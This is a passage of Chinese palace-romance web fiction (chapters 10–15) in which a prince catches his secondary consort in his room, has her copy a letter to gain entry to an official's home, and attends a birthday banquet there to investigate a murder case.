裴敛面无表情地看着面前这个受惊的小人,无言轻叹了口气:“劳烦姜小姐看仔细了。”
闻言,姜钰雪将手指打开一条缝,偷偷看了眼。
确认是自己误会后,这才讪笑着放下手,一下一下往榻边挪过去:“殿下今日回得这么早呀……”
她还没挪到榻边,一道寒光闪过。
裴敛举着一把匕首,锋刃直指向她的额头,再往前一毫便能划破那如脂的肌肤:“姜小姐是不是应该先老实招供一下,你为何会在我屋里?”
姜钰雪的动作瞬间滞住,努力维持着嘴角的弧度:“殿、殿下怎么叫得这样生疏呢……呵呵呵……”
“说。”握在匕首上的力道加深。
“我……”
姜钰雪的后背渗出了一层冷汗。
她是来偷东西。但是这是能说的吗?当然不能!说出来小命就没了!
总不能瞎扯,说她也不知道,走路上被人拍晕,一觉醒来就在人家床上了吧?这是什么话本子里的替嫁情节!
……啊!
“我……”姜钰雪眨了眨水汪汪的眼睛,猛地瘫倒侧躺在榻上,枕着自己的手臂看向裴敛,“我在给殿下暖床啊!”
天才!
差、差点忘了自己还是个侧妃……
裴敛目光漠然,也不知是信了还是不信。手上的匕首半点没有放下,反倒是跟着上前。
见对方没有松懈,姜钰雪慌忙伸手挡在身前,毅然道:“等等!”
颤颤巍巍地伸出食指,“我、我还有一招……”
裴敛眉头一拧,看着她从榻上坐起身,一边调整坐姿,一边时不时瞥他几眼,确认他的视线。
下一刻,姜钰雪的手臂轻抬,素纱窄袖随之滑落到手肘,露出其下的雪肌。
裴敛微不可察一怔,疑惑道:“你在做什么?”
“出、出招……?”
“……什么?”
这些其实是她之前特地同新月一齐研究出来
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的,两个人认为最能够魅惑男人的姿势。
只是她实属是记不大住,只好把自己在话本子里看到的那些招式名用到这上面来,方便她记住。
于是乎——
“【月下金枝】——!”
“?”裴敛眉头一皱。
“下一式,”她一边说着正要开始动作,却发现裤脚被压着了,只好停下往一边挪了挪。接着伸直了一边的腿踢开一旁的被子,两手掐出个兰花指,捏着裙摆往上拉,
“【白玉销魂腿】~”
圆润的脚趾在榻上踩出了粉红的小印子,露出的一小节脚踝白得晃眼。
裴敛下意识要移开视线,但原先被踹开的被子先一步滚了下来,一把子盖住了将要露出来的腿。
裴敛:“……”
被坏了事的姜钰雪一边维持着姿势,一边气鼓鼓地扯着被子:“走开,走开……!”
“姜小姐。”裴敛收起了匕首,恢复到面无表情的模样。
“嗯?”姜钰雪将腿从被子里抽出来,抬头看他,“怎么样?”
有没有感觉?
裴敛叹了口气,继续道:“在面向敌人出奇招时,最忌大声喊叫,容易失败。”
就像现在。
“没有呀,”闻言,姜钰雪蹙眉疑惑,“我看话本子里的人就是这样啊?”
“比如,”她一边说着,手默默搭上胸前的交领,拉开,“瑞雪凌波。”
“姜钰雪……!”近乎是在那软绵露出的同时,裴敛猛地闭上双眼,转过身背对她,低声斥道,“……自重!”
姜钰雪也被他吓得一哆嗦,下意识捂住了心口。
反、反应这么激烈……也不用那么有感觉,吓我一跳……
尔后,她又反应过来:这样是不是说明她确实有让他心动的可能?
于是乎,横起腿摆了个自认为妖娆的姿势,捏着声音开始对着他的背影喊:“殿下~”
裴敛睁开眼,深深吐了口气。
他正欲开口说她,视线不经意定在了不远处的书案上,面色一沉,猛地转过身掐住姜钰雪的脖子:“你碰了我东西?”
10. 第10章
黑影笼罩住姜钰雪,背光下裴敛的眼神冷若寒霜。
他的拇指抵着跳动的血脉,质问道:“你碰了我东西?”
案台上的烛火爆出一星火花,晃动的光影中,姜钰雪扒着他掐在自己脖子上的手,一切的喘息和颤抖在这一刻都变得支离破碎。
“我……”喉间的桎梏让她发不出完整的声音,她只能拼命地摇头否认,在昏暗的视线下看着对方,连发梢都在颤抖。
裴敛的面色越发阴沉,抵在血脉上的手往肉里按了下去:“你确定?”
窒息感随着脖子上的疼痛一并加深,泪水从姜钰雪的眼角流出。
她也就进来了那一会儿,还什么东西都没拿,何来碰了他的东西?!
泪水模糊的视线,不经意间闪过书案上的烛火,她忽的悟了他说的是什么。
这些小动作无一不被裴敛收进眼中,他减了些力道,转而将她的视线拽回自己脸上,进一步逼问她:“说。”
“我……”
窒息感依旧存在,姜钰雪抽了抽鼻息,断断续续道,“我只是……看、看了一眼……”
“看了一眼?”裴敛眼底墨色翻涌,隐隐生出一股怒意。
见势不妙,姜钰雪心中警铃大作,整个人豁了出去:“就、就一页!我就看了第一页!”
“我、……我连那一页都没看完呢……!”
她委屈地瘪着小嘴,紧紧皱着眉,解释道:“我不知道那个不能看……我不是故意要看的……”
姜钰雪轻咬下唇忍着呜咽,努力仰着头鼓起勇气看向他:“我真的……就看了那点……”
长睫如受惊的蝶一般颤动,晶莹的泪水在眼眶中逐渐盈满,又被她仰起头努力逼退,生怕再惹怒对方。
裴敛不觉一怔,掌中一直被他忽视的温热触感骤然袭来。
他敛起眸中的锋芒,松开桎梏着对方的手,拉开了两人之间的距离。
自由来得突然,姜钰雪瘫软在榻上,一手撑着身子,一手捂住脖子咳着,心有余悸。
裴敛已经转身行至书案旁,拿起那叠书册。
书册还未用棉线装订,只是将数张纸叠放在一起。书册上被泼了墨,墨迹未干,明显是方才才弄上去的。
第一页上写了这次调查的无名男尸案的大致样貌,而翻到第二页——赫然写了对姜甫与这件事件相关的一系列调查。
裴敛揭下第一页纸,恢复到往常漠然的神色,转身拿到姜钰雪跟前问道:“你说的是这页?”
姜钰雪应声抬起头,怯生生地看向那张纸,不想原本印象中白纸黑字的纸张,现今竟染上了大半片的墨水。
她顿时瞪大了双眼,当场呆立:“这这这这怎么、怎么……”
“啊……!”
她想起来了。
好像是因为……她在往榻上去前,想将灭了的蜡烛放在书案上。
但当时周围黑漆漆一片,什么都看不清,她只好凭着记忆将蜡烛放了上去。只是,在放上去时隐约好像磕碰到什么。
可是那时候她心里慌得紧,根本没多想,转头就溜到榻上去了。
原来那个动静是她把墨水给打翻了啊……
那那本册子是不是全都……
姜钰雪抬眼对上裴敛的视线,心里的愧疚感骤然翻涌:“对不起……我……”
她不知道应该怎么解释才好,只能干巴巴地说一句:“我不是故意的……”
她来偷人家东西。
偷东西就算了,也没偷着。
还把人家重要的书册给毁了,把人惹生气了,给人添麻烦了……
那是不是明天就要把她扫地出门了?
那她就更救不了她娘亲了……她娘亲怎么办?
她这样想着,眼眶中的泪水再也抑制不住,大颗大颗地滚落下来:“对不起……我不是故意的……我真的不知道……”
裴敛看她情绪突然变得激动,不禁一怔。
“你……”他不自觉地眨了眨眼睫,几息之后才开口,“我只是问你,看的是不是这一页。”
“嗯……!嗯……!”姜钰雪吸了吸鼻子,重重地点了好几下头,大滴大滴的泪珠变本加厉地往下掉。
“是便行了。”裴敛淡然回道,看
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她哭得抽抽噎噎的,最后还是补了句,“……不必哭。”
但此时的姜钰雪还没从那自责的情绪中走出来,脑子里不断浮现出裴敛方才生气时的神色,觉得自己犯下了不可饶恕的大错。
“可是我把册子都给毁了……那么厚一本,你写了那么久的呢……”她声音带着哭腔,贝齿咬着下唇将嘴抿成了薄薄一片,眼中满是自责。
裴敛顿了顿,将那页纸从她跟前收走,转身走回书案:“一本册子罢了,不要紧。”
姜钰雪跟在他身后,嘴里抽抽涕涕着:“怎么不要紧?你那么生气呢……”
裴敛脚下一顿:“……我没生气。”
“那、”
“大不了重新写一本便是了。”裴敛打断她。
然而,听到他这么一说,姜钰雪心里更不是滋味了:“你那么忙,你哪里有时间……”
裴敛:“……让洛十一写。”
姜钰雪的小脑瓜一闪。
让洛十一写……那好像也行?
“那、那我从嫁妆里拿点银子补给他当工钱。”姜钰雪道。
辛苦钱还是要赔给人家的。
“……不用。”
“那、那……”
裴敛将册子收进一个书袋中,拿着它走到书案一侧的柜子边,又将零零散散的几样文书也分门别类收了起来。
姜钰雪见他不回她,只能一边抽着鼻子,一边默默跟在他身后。
两人的脚步就这样一前一后地在屋里绕了大半圈。
裴敛本也没想再同她追究此事了,只是没料到她竟真是怎么都说不通。
见姜钰雪还跟着自己,裴敛回过身,敛着神色打算令她回屋。
然而,一回头,便见她双手掌心向上平摊在身前,洇着水汽的眸子认真地看着他。
“那要不你……”
烛光下,松垮的衣襟被手肘挤得愈发凌乱,隐隐露出了其下软绵的沟壑。
姜钰雪鼻尖洇着薄红,睫毛还沾着细碎水珠。水光莹润的唇在烛光下格外饱满,含着暗香,轻轻启唇:
“你惩罚我吧。”
11. 第11章
如今还没拿到想要的东西,姜钰雪可不想被扫地出门。
可她又想不到怎么补救,唯独脑子里想起自己小的时候,一旦不听话惹爹爹生气时,就要被打手板。
但是很神奇的是,每次挨打后只要再好好认错,爹爹就会突然特别心软,甚至还会找点东西补偿她。
这大概就是所谓的苦肉计……?
管它是苦的甜的,试试再说!
是以,姜钰雪抿了抿唇瓣,轻轻深吸了口,摊开双手请罪:“要不你……你惩罚我吧。”
她将说完,刚好便与裴敛碰上了眼。
裴敛的视线顺着她的手往下看,尔后很快移开视线,偏过头没有回应她。
这一下给姜钰雪整急了,又往他跟前凑了凑,踮起脚尖把手举得更高了些:“你罚我吧,好不好嘛,好不好嘛。”
“还是说……”姜钰雪受挫地看着他,又想起了另一种可能性,试探道,“打手太轻了不解气……你想打屁股……那可能有点……”
太超过了。
裴敛偏回头,看向她头顶翘起的碎发,开口道:“一定要罚吗?”
见他松了口,姜钰雪高兴得眼睛里都要放出光来,忙应道:“嗯嗯嗯!”
“那好。”说着,裴敛转身在从书案上拿起东西。
姜钰雪顿时紧张起来,缩起肩闭上眼,咬好了牙关时刻准备着。
然而预想中的痛觉并未到来。
一阵响声后,掌心轻轻敲下了一根柱状的东西,硬硬的,凉凉的。
她睁开眼一看,放在掌心里的竟然是一根毛笔。
“照我说的写。”裴敛拿着笔的另一端,看向姜钰雪,要求道。
姜钰雪接过毛笔,抬眸却发现他已经往书案走去了。
“……衣服穿好。”
闻言,姜钰雪低头看了眼,小脸一红,忙将领子收紧。
“写什么呀?”她跟着裴敛走到书案边,在他的示意下入座。
裴敛侧身站在她旁边,低头问她:“如果我没猜错,你应当与侍御史刘远的女儿刘若汐是旧识。”
“……是。”姜钰雪迟疑地点了点头。
“近日是她生日,此事你可知?”裴敛继续问道。
“我知。”
姜钰雪应着,突然又道,“这么说来,这阵子太忙了,我都忘了应该给她写封贺信了,该赶紧写了送出去。”
裴敛双眸微睁,有些意外:“你每年都写?”
“嗯。”
虽然她和刘若汐的关系不算好,但表面形式还是要的。
裴敛看着不远的地面,思索着没有说话,指尖无意识地摩挲着。
片刻后,像是想到了什么,他的目光移到了姜钰雪的身上。
“今年给她写什么呢……”还在悄声嘟囔着的姜钰雪突觉得身边有人贴近,放在案上的手旁忽的压下一只大手,两人的尾指不经意间轻轻相碰。
“照我说的写。”
不知何时,裴敛已经走近她,一手搭在椅子的靠背上,一手撑在案上,侧身压了压视线,看向她。
姜钰雪的尾指不禁抽动了一下,暗暗往旁边收了收,回道:“照你说的写?”
“嗯。”
裴敛应完,接着开始口述:
“「云笺素墨,谨以寄心」……”
“等、等等!”
姜钰雪还没做好准备,见他已经开始了,忙打断道:“太快了,而且……我没听明白……”
裴敛顿了顿,回道:“那我写下来,你照着抄。”
说着,他松开搭在靠背上的手,将其越过姜钰雪的后背:“低头。”
清冽的声音此时变得很沉,平静地贴到了离她耳朵很近的地方。
姜钰雪下意识听话地低下头,手握着拳并在一起,肩膀缩成一团,忽的被他的温度若有若无地包裹了起来。
耳边是衣物摩擦时发出的窸窣声,鼻尖有一股淡淡的雪松香,
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是她方才在榻上闻到的那个香气。
只是刚才闻到这个味道时心里很平静,现在却不知道为何有些紧张。
裴敛从另一侧的笔筒中拿起笔,将身子往回收了收。
头顶的温度褪了下去,姜钰雪再抬头,只见裴敛已经将笔沾了墨,正要开始写了。
姜钰雪低头一看,发现裴敛正左手执笔。
竟是左撇子!
白皙的手腕从袖口中露出,腕骨如寒玉雕刻,跟指节分明的手一齐动作时显得格外有力。
笔锋动得极快,但却字字工整又清瘦刚健,给人一种清冽却又有锋芒的感觉。
“你是左撇子啊。”姜钰雪抬头看他,感叹道。
但裴敛没有应她,依旧是专心地写着。
烛光下,半扎的乌发如瀑般倾泻而下,被暖黄色的火光照得有几丝透亮。
睫毛在眼下投出鸦羽般的阴影,将他的双眸映得更加深邃。
姜钰雪就这样看得出了神,看见他微弯下腰,略微松开的领口。
隐隐现出了锁骨上的那颗红痣。
脑子里不禁联想到了其他的东西,白雪红梅,清水滴血……
“姜小姐。”
忽然,耳边响起裴敛的声音。
姜钰雪从遐想中回过神来,一下对上对方墨色的双眸,竟忽然有些不好意思,支支吾吾道:“怎怎怎怎么了?
“可以抄了。”裴敛回道。
“啊?抄、抄抄抄什么?”姜钰雪还没缓过神。
裴敛见把手里的纸往她面前推了推,示意道:“这个。”
姜钰雪看了他推过来的东西,彻底回过了神:“哦、哦哦哦!”
抓起笔便写了起来。
一时间,屋内又恢复了平静。
烛光下,一人坐在案前,认认真真地抄写着纸上的东西。
而另一个,则站在旁边没有说话,静静地看着,又忽的将视线移到了她有些红肿的眼睛上。
12. 第12章
烛芯的蜡已然盛满,盈盈滴落了几点在案上。
姜钰雪放下笔,举起双手伸了伸懒腰:“殿下,我写好了。”
“嗯。”
裴敛从一旁的屏风后出来,已经换上一身浅蓝色的交领袍。方才书写时随手扎起的半发已经重新梳整好,只用一根素簪髻着。
姜钰雪看了眼周围,却未发现有其他人在。
他竟然是自己做的。
裴敛走近案台,拿起姜钰雪抄好的信看了眼:“不早了,姜小姐请回吧。”
闻言,姜钰雪心下欣喜。
让她回去了!这是无罪释放吗!
心里暗暗掂量了会儿,她试探道:“那我算是……将功抵罪了吗?”
裴敛抬眸暼了她一眼,正过身来,开口道:“伸手。”
姜钰雪努努嘴,微眯着眼怯生生地抬起手。
还是要打手板。
接着掌心落下了一个冰凉的触感。
是一个瓷瓶。
“这是什么?”姜钰雪拿起瓷瓶转了转,疑惑道。
裴敛闭起一只眼,指了指眼皮:“睡前让你的侍女帮你涂在眼皮上。”
“……?”
“听明白了便回去吧。”
他没有再解释,负手背对她,言下之意便是默认了。
姜钰雪可不是傻的,自然知道他的意思,连忙应道:“是是是。”
不会被扫地出门啦!
“殿下,再见!”
捧着手里的小瓷瓶,兴冲冲小跑离开了。
此时已是亥时后半,洛十一在书房久久没等到自家主子,便前来查看情况。
他将走近寝屋附近,远远便见寝屋大门蹦出一道人影。
待那身影穿过皎洁月华时,他一时有些惊讶。
“见过侧妃。”
身为殿下的侍从,当然要具有面不表心的素养。
洛十一表面波澜不惊,从容不迫地退到一旁给姜钰雪让道,低头行礼。
姜钰雪停下脚步,抬头辨了会人,这才终于记起:“洛十一。”
“回侧妃,小的正是。”洛十一回道。
姜钰雪其实就与他见过一面,就是当时在宫里那次。进了王府,她还从来没正面碰过他,印象中只知道他是裴敛的贴身侍从。
一想到他还得帮她把那本册子给重新写一次,姜钰雪心里也内疚,遂向他招了招手,微微倾过去小声说道:“谢谢你洛十一,我回头偷偷给你加工钱。”
洛十一眨了眨眼,没听明白。
谢谢?什么谢谢?
他离开的这一个多时辰,有做过什么好事吗?
无功不受禄。
洛十一没敢擅自接话,只是维持着低头行礼的姿势,静静等她离开。
就在她从自己面前过去时,光影之下,他的余光瞥见她脖子上若有若无的红痕,眉头一跳。<
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……。
身为殿下的侍从,当然要具有面不表心的素养。
只是现在周围没有人了,洛十一的眉头拧成了根麻花。
他冷静了一会儿,深吸了口气,抬步走到门口,迎面便碰上了站在门口的裴敛。
“殿下。”洛十一后撤了几步,躬身行礼,“小的见殿下一直未到书房,便前来查看情况。”
“嗯,确实遇到了点事。”裴敛回道。
洛十一听得眉头直跳,还未回话,视线中落下了一封信。
“准备一下,过几日进刘府调查。”裴敛将信交给洛十一,转身进了门。
洛十一跟在他身后,看了眼信上的落款,问道:“殿下,这个是……侧妃写的?”
“嗯。”裴敛回道,“她与刘远的女儿是旧识,借她的名义进去跟我们比起来,要更自然些。”
洛十一了然,不禁叹道:“殿下是如何知道的……竟还有这一招。”
“惹了些麻烦事换的。”
裴敛说着,低头看了眼一旁神色复杂的洛十一,随手拿起案上的笔敲了他的额头:“多想。”
洛十一老实地挨了一记,诚恳地捣头认错。
接着,小心翼翼地把手伸到裴敛的衣襟上,从上面取下了一小片簪花的碎花瓣,然后飞快地甩开了。
裴敛:“……洛十一,去把那案子的书册再写一次。”
洛十一:“啊?”
13. 第13章
“小姐。”
清晨,姜钰雪刚艰难地从榻上爬起来,便听到新月匆匆赶回了屋里。
“侍御史刘府的刘小姐给您送了信。”
“嗯?刘若汐给我送信?”姜钰雪疑惑地接过信,拆开看。
【“来信收悉,心感甚慰。”】
姜钰雪惊讶地眨了眨眼。
这就收到了?甚至还回了信……
“小姐?”新月看她神色不对,关切道,“是与往常一样来邀您参加生日宴了吗?”
“嗯。”姜钰雪努努嘴,一头倒回榻上皱起小脸,“我不想去……”
新月捡起落在地上的信看了眼,又望了望赖在床上的主子,提醒道:“上面还邀请了殿下一起去呢,小姐要不一会儿早膳时问问殿下?”
姜钰雪抓着被子一角在榻上滚了半圈,把自己包了起来:“哎哟……他那么忙,肯定不会去的。”
“而且他也说过不管我的事,两人互不干涉,怎么可能跟我一起……去……”
等等。
姜钰雪猛地起身,脑子里闪过一个念头。
他不去,那她是不是可以趁机以他的名义拒绝去?这样万一对方想怨她不给面子,也怨不到她头上,她就不会得罪人了。
好办法!
想到这,姜钰雪赶忙下榻招呼新月给自己梳理。
-
梳理了一番后,主仆两人匆匆赶到偏厅用膳。
即便已经进了王府三日,姜钰雪依旧没办法适应这里的诸多规矩,尤其是这个卯时后半就要起来用早膳的规矩。
她在姜府都是睡到自然醒的,根本起不来这么早。
姜钰雪顶着眼底淡淡的乌青走进了偏厅,又和往常一样一进屋就见到了面无表情等在座位上的裴敛。
好吧,又迟到了……
“殿下……”姜钰雪尴尬地开口问候,入座等着上菜。
裴敛闻声抬眸,视线落在她明媚的双眸上,沉默地看了几息后颔首回应了她。
仿佛昨晚什么事都没发生过一样,两人和谐地用起了早膳。
“殿下,”姜钰雪琢磨着时间,在两人都将用完膳时开口道,
“先前我给侍御史的女儿寄了贺信,今日便收到了回信。信里说,想邀请殿下和我一齐去参加生日宴。不知殿下可愿?”
闻言,裴敛停下手上的动作,看向她:“回信了?”
“嗯。”姜钰雪点点头。
见他没有回应,姜钰雪微微勾了勾嘴角,安心等着他回绝她。
怎知,裴敛干脆放下了筷子,一脸严肃地问道:“你想要我去?”
嗯?
姜钰雪嘴角的弧度一僵。
怎么忽然问起了她?
她当然……不想啊!
但是总不能直接说出来拂了他面子,可她又不能说想……
她纠结了半晌,终是换了个隐晦的说法暗示道:“殿下如果不方便,那我也可以回绝了它……没关系的……还是殿下自己的事情要紧!”
她说完,裴敛一副心领神会的模样,点头应了声“嗯”。
姜钰雪听见他的回话,抿着唇压着嘴角的弧度,心里窃喜。
太好了!他不去!那她也可以不去了!
“具体是哪日?”
“……啊?”还处在欣喜中的姜钰雪被这句话给问愣了。
似是以为她没听清,裴敛放慢语速重复了一遍:“我问具体是哪日,我好安排时间。”
姜钰雪心中忽然有不好的预感,支支吾吾回道:“后、后日……”
话落,裴敛颔首回道:“好,我同你去。”
姜钰雪:“……”
“不高兴?”裴敛不知何时已经擦净了手,一手托着下巴看着对面的人。
被他这么盯着,姜钰雪心里莫名紧张起来,强撑起嘴角连声应道:“高高高高兴……!高兴……”
她边说着,掩着心里的无奈舀起碗里的白粥往嘴里狠狠地塞了几口。
那可真是高兴坏了……
-
春日的新芽开始在枝杈上冒了出来,日子很快便到了去生日宴的那天。
天色澄碧,纤云漂浮,午后的暖阳铺洒在绿茵之间,将泥土的芬芳蒸腾而上。
端王府门外,随着车夫的一声吆喝,两匹骏马昂首嘶鸣,拉着身后的马车往刘府驶去。
因着姜钰雪不太喜欢在人群中显得突出,即便是赴宴也不会穿得过于隆重。尤其是参加这种以其他人为中心的宴会,更是能打扮得多不起眼就打扮得多不起眼。
然而,这次却是没做成。
就在早些时候,管事来确认她今日要出行的装扮。
没
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想到只是一眼,管事便连连摇头,还说教了她一番。
说什么即便是侧妃,也代表了端王府的形象。端王府的人,出门在外必须端庄淑雅,又要矜贵威严,不得穿得这般寒酸。
随后,唤来了几个丫鬟帮着新月一起铆足了劲给姜钰雪打扮。
原本素色的齐胸襦裙被丢在一旁,换上了一身绣着茉莉的水蓝色旋裙,软缎系带往腰间一系,越发衬得那纤纤细腰盈盈一握。身前珠色的抹胸兜得沉甸甸的,让清澈的美好中又染上了一抹别样的香气。
姜钰雪窝在车厢内,扯了扯穿在外头金线褙子,浑身不自在,暗暗幽怨地看了眼坐在对角的那个人。
一想到待会儿要因为他而接收到诸多人的视线,她便忍不住想打退堂鼓。
早知道就不问他,她自己去了。
“姜小姐。”一直沉默不语的裴敛忽然开口搭话。
“嗯?”正抱怨着的姜钰雪闻声抬起头,心虚地眨了眨眼。
“姜小姐此前可是去过这位刘小姐的生日宴?”裴敛问道。
“去过。”姜钰雪点了点头,“我们小时候就认识,每年她的生日宴我都会去。”
“那姜小姐可还记得这生日宴具体都有些什么?”
姜钰雪转了转眼珠子,思索道:“就是……吃饭,吃完后喝喝茶喝喝酒,晚些就散了。”
“侍御史的刘大人可是会出席?”
“会。”
“如此。”裴敛移开视线,思索了一番,开口道,“知晓了,多谢。”
闻言,姜钰雪顿时有些受宠若惊,连忙摆摆手:“不不不用……不用……”
她还是第一次被身份比她高那么多的人道谢……感觉这人也太捉摸不透了些……
一会儿凶得掐她脖子,一会儿又耐心教她写信,现在问个话而已还道谢……
总归是怎么处都处不熟的。
想到这,姜钰雪突然就不难受了。
反正她和他走在一起,大家看的肯定是他。
即便是盯着她,只要等裴敛开口叫她一句“姜小姐”,大家就都知道她不受宠了,很快就会被她晾在一边。
然后,她就可以悄咪咪地退出去,再找个地方自己呆着,待宴会结束后回家就行。
嗯,可行!
这样想着,姜钰雪的心情又明媚了。
14. 第14章
马车驶过最后一个街口便来到了刘府,刘府前日获知端王世子要来,连夜将原本一个女儿家的生日宴改得格外隆重了些。
是以,今年前来参与生日宴的贵女们身边大多都跟了一个家中的长辈,甚至有些未收到请帖的人也携礼前来。
姜钰雪和裴敛来得稍晚些,一踏进刘府便收到了众宾客热烈的视线。
姜钰雪表面勉强维持着端庄文雅的模样,心里实则紧张得浑身僵硬,一路在袖下偷偷捏着自己的大腿,强迫自己抬起头来。
侍御史刘远本是一个连面见亲王资格都没有的小官,现今有机会见到端王世子真容,难掩面上悦色,赶忙走上前来躬身行礼,将他们迎入正堂上座。
裴敛早已习惯了这样的场面,从容地颔首回礼,尔后跟着走上了长廊。
姜钰雪跟在他身后,余光瞥见刘若汐和葛妍跟着身后的其他贵女们站在一起,纷纷朝她这边看,心里不禁咯噔了一下,下意识便要垂下头来。
前方拐口处有几个上升的台阶,裴敛一边走着,一边不着痕迹地四下扫望,在脑中描绘出宅邸的全貌。不经意间,他见一旁的人神色不对,便放慢了脚步,在经过下一个台阶前提醒道:“抬头看路。”
闻声,原本快要蔫下去的姜钰雪顿时回过神来,整个身子挺得笔直。
她偏过头看向裴敛,挺拔修长的身形在日光下勾勒出俊逸的轮廓,深邃的眼眸中透着与生俱来的淡然和从容,仿佛世间万物皆在他的掌控之中。
不知为何,这样看着,她心中莫名生出一股安全感,僵硬的步伐逐渐轻盈了不少。
-
这次的生日宴宾客众多,庭院中和正堂内均设了桌案。
庭院里是女儿家们载歌载舞的欢声笑语,正堂内则多了些许严肃。
陪着自家女眷来的长辈们在正堂内推杯换盏,带着几许自我表现的意味与裴敛聊起一些朝中琐事。
姜钰雪自然是不用去应对这些的,她只在一旁面带微笑,当个安静的花瓶,余光暗暗看着天边的夕阳数着上菜的时间。
当地上的影子漫到正堂内时,四下终于点起了灯。侍女们鱼贯而入,往宾客的杯中倾倒酒水,宴席由此开始。
姜钰雪看着远远走来的侍女,已然按耐不住心里的期待,眼睛直勾勾地盯着对方手里的盘子。
先上来的是几道冷菜,分别是酱鸭脖和水晶肴肉。
浓郁醇厚的酱香裹着丝丝缕缕的辛香直钻鼻腔,瞬间勾起姜钰雪的胃口。
她迫不及待地拿起筷子,夹起一小块送进口中。鲜嫩的鸭肉丝丝入味,咸香与辛辣在舌尖交织,唇齿留香,与她这些天在王府里吃的那些寡淡菜色相比简直是天赐的美食!
谢天谢地!实在是太好吃了!
就在她沉浸在美食之中时,忽然发现有些不对劲的地方。
如今,因为裴敛的到来,这生日宴俨然已经变成了众多长辈在此自我展示讨好关系的政宴。
而这次生日宴的主角刘若汐竟没有一丝不满的样子,反倒是进了这正堂中陪在她父亲身边。
依照姜钰雪对她的了解,她早该闹了。
怪,太怪了。
她正想着,抬眼要去寻对方的身影,却见台上忽的出现了几名手持琵琶的侍女,中间围绕着一名女子。
姜钰雪吃饭的动作一停:若汐?!她站在那儿要做什么?
刘若汐踩着莲步,将鬓角的碎发撩至耳后,柔声道:“今日承蒙各位长辈、亲友拨冗莅临,小女满心欢喜,不胜感激。在今日良辰,愿献上薄艺,聊表心意。愿今后也能与君同在,情义更深。”
话落,曲声响起,刘若汐挥动着淡紫色的水袖,如天边流云般轻盈翩跹。手腕上的蓝宝石在灯光下闪着光,与她流水的动作相互照应,发髻上的金丝翡翠簪为她的面容增添了别样的尊贵之色。
姜钰雪看得出神,手里的筷子一动不动,盯着刘若汐婀娜的舞姿,忍不住发出感叹:“哇……”
然而,渐渐的,姜钰雪却是发现了些不对。
刘若汐竟是慢慢拘谨了起来,面上露出了羞涩之色,最后甚至在踩错了一个舞步后直接忘了下一个动作。
见此番场景,刘远率先开口笑道:“哈哈哈,汐丫头怎么跳着跳着害羞了。”
紧接着,刘远的同僚跟着起哄道:“怕不
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是被殿下看着,给看得不好意思了。”
姜钰雪嘴里含着筷子眨了眨眼,偏头看了看一旁的裴敛。
只见这座大冰山依然是面无表情,半点没有喝了酒后微醺的神色。
循着他的视线望过去,台上的刘若汐此时羞得捂住了脸,时不时透过手指的缝隙偷偷看向这边。
姜钰雪听着旁人起哄的声音,心里默默叹了口气,也不知应当给些什么反应,干脆埋头继续吃了起来。
-
晚膳过后,侍女撤下了桌案,将茶台摆到了庭院中。
男人们前往正堂内室继续聊着所谓的政事,女子们则在庭院里喝茶聊天。
姜钰雪从正堂中走出,手里拿着还未给出的生辰礼。她回头没见到裴敛的身影,心想他大抵是同那些人去了内室,心里莫名有些失落。
“方才殿下一直看着你呢,若汐姐姐。”
不远处,刘若汐身边围着一群好友互相打趣着。
姜钰雪刚想过去,便又听到其他人继续道。
“倒是旁边那个,殿下从进府后也没管过她,两人都没说过话,怕不是关系不怎么好。”
“依我看就是不受宠,殿下看她的时间还没看若汐姐姐久呢!”
“嘘——!小点儿声……!”
见到姜钰雪,那几人站在远处若无其事地笑了笑,向她挥了挥手。
“雪儿——”
“这边这边。”
姜钰雪暗暗在袖下攥了攥手。
她还是不喜欢这种场合,想融入,却又莫名其妙融入不进,好像自己是个异类,大家都不喜欢她。
但很快,她又给自己打了打气。
反正一开始也想好了,只需把生辰礼交给刘若汐,然后她就自己找个地方呆着,等到宴会结束就行。
想罢,她面上重新挂起笑,一样向她们招了招手:“来了。”
然而,她刚踏出一步,对方脸上的笑容忽然凝固,面露怯色地看向她身后。
姜钰雪疑惑地回过头,下一刻,雪松的香气贴近周身。
裴敛牵住她的手,微弯下腰看向她,轻柔地唤着:“雪儿。”
15. 第15章
裴敛同迎面而来的几个官员聊了几句,见洛十一候在不远处,便寻了个借口将几人支开,打算同洛十一汇合。
他刚要走过去,脚下一顿,忽的发现原本站在他身侧的人不见了,又再循着人流往庭院看去,这才找到那道身影。
与往常不同,今日,姜钰雪的长发被几支金簪挽起,露出了雪白的脖颈,发髻上的珍珠链垂落在肩头,轻轻抚过她的后颈,好似暖风拂过柔嫩的花枝一般。
裴敛走上前,从怀中拿出一个东西,又瞥了一眼正在呼唤姜钰雪的人,一边用指尖撬开姜钰雪攥着的拳头,将东西交了过去,一边学着那人轻轻唤了她一声:“雪儿。”
姜钰雪一愣,整只手被他温热的掌心包裹着动弹不得。她还未作出反应,就见裴敛再度欺近,贴着她的耳朵低声道:“拿着,把它吃了。”
热气拂过她微凉的耳垂,吹起鬓角的碎发撩得她有些发痒。
贴着自己的掌心动了动,姜钰雪这才觉察到手中有什么东西,在他宽大的手掌下悄悄把东西攥在自己手心。
“我派了个暗卫跟着你,就在那棵槐树下,有什么事往那边跑。”他继续道。
姜钰雪循着他的话语看向他身后那棵槐树。
他肩膀宽,个子也比她高上许多,即便是微弯下腰,依旧挡了她大半的视线。
倒是自己,像是个孤弱无援的小动物一样被他的身影罩住,在满是他的气息之下怯生生地往外望。
“听明白了,就抬头看我。”
清冽的声音近在耳边,似是有什么力量一样勾着姜钰雪的心。她听话地抬起头,对上他墨色的双眸。
纤长的睫毛被暖黄色的灯光镀了一层辉,两人之间近得隐隐能听到对方的心跳。
裴敛垂眸看向她有些惶恐的眼底,稍稍拉开了距离,开口道:“我同其他人进内室,你在这好好的,晚些我来接你。”
他声音轻柔,但姜钰雪却是从他的眼里看到了平日里的淡漠,很快晃过神,随着他附和道:“好。”
话落,两人彻底拉开了距离。
掌心灌进一股凉风,姜钰雪下意识又攥紧了手,再抬头裴敛已经走远。
-
“殿下。”
洛十一跟在裴敛身后,看了看远处庭院里的那道身影,问道:“不再多派些人吗?”
裴敛循着前往内室的路走在长廊上,小声回道:“不必,本也只是个生辰宴。她呆在那群人中间,再不济也只是下毒。”
说着,他向洛十一递出一张纸,命道:“我与刘远几人在内室,你带人搜查。”
洛十一接过东西,打开来看了看,只见其上画了似是地图的图样,疑惑道:“这是……?”
“府邸的构造。”裴敛解释道。
闻言,洛十一惊叹不已。
他竟然只是走了那一段路就记下来了!
洛十一将地图纸张收起,垂首继续道:“殿下可有指示?”
再往前就是内室的门口,裴敛停下脚步,在阴影遮挡处说道:“查暗道,里面定有账房。”
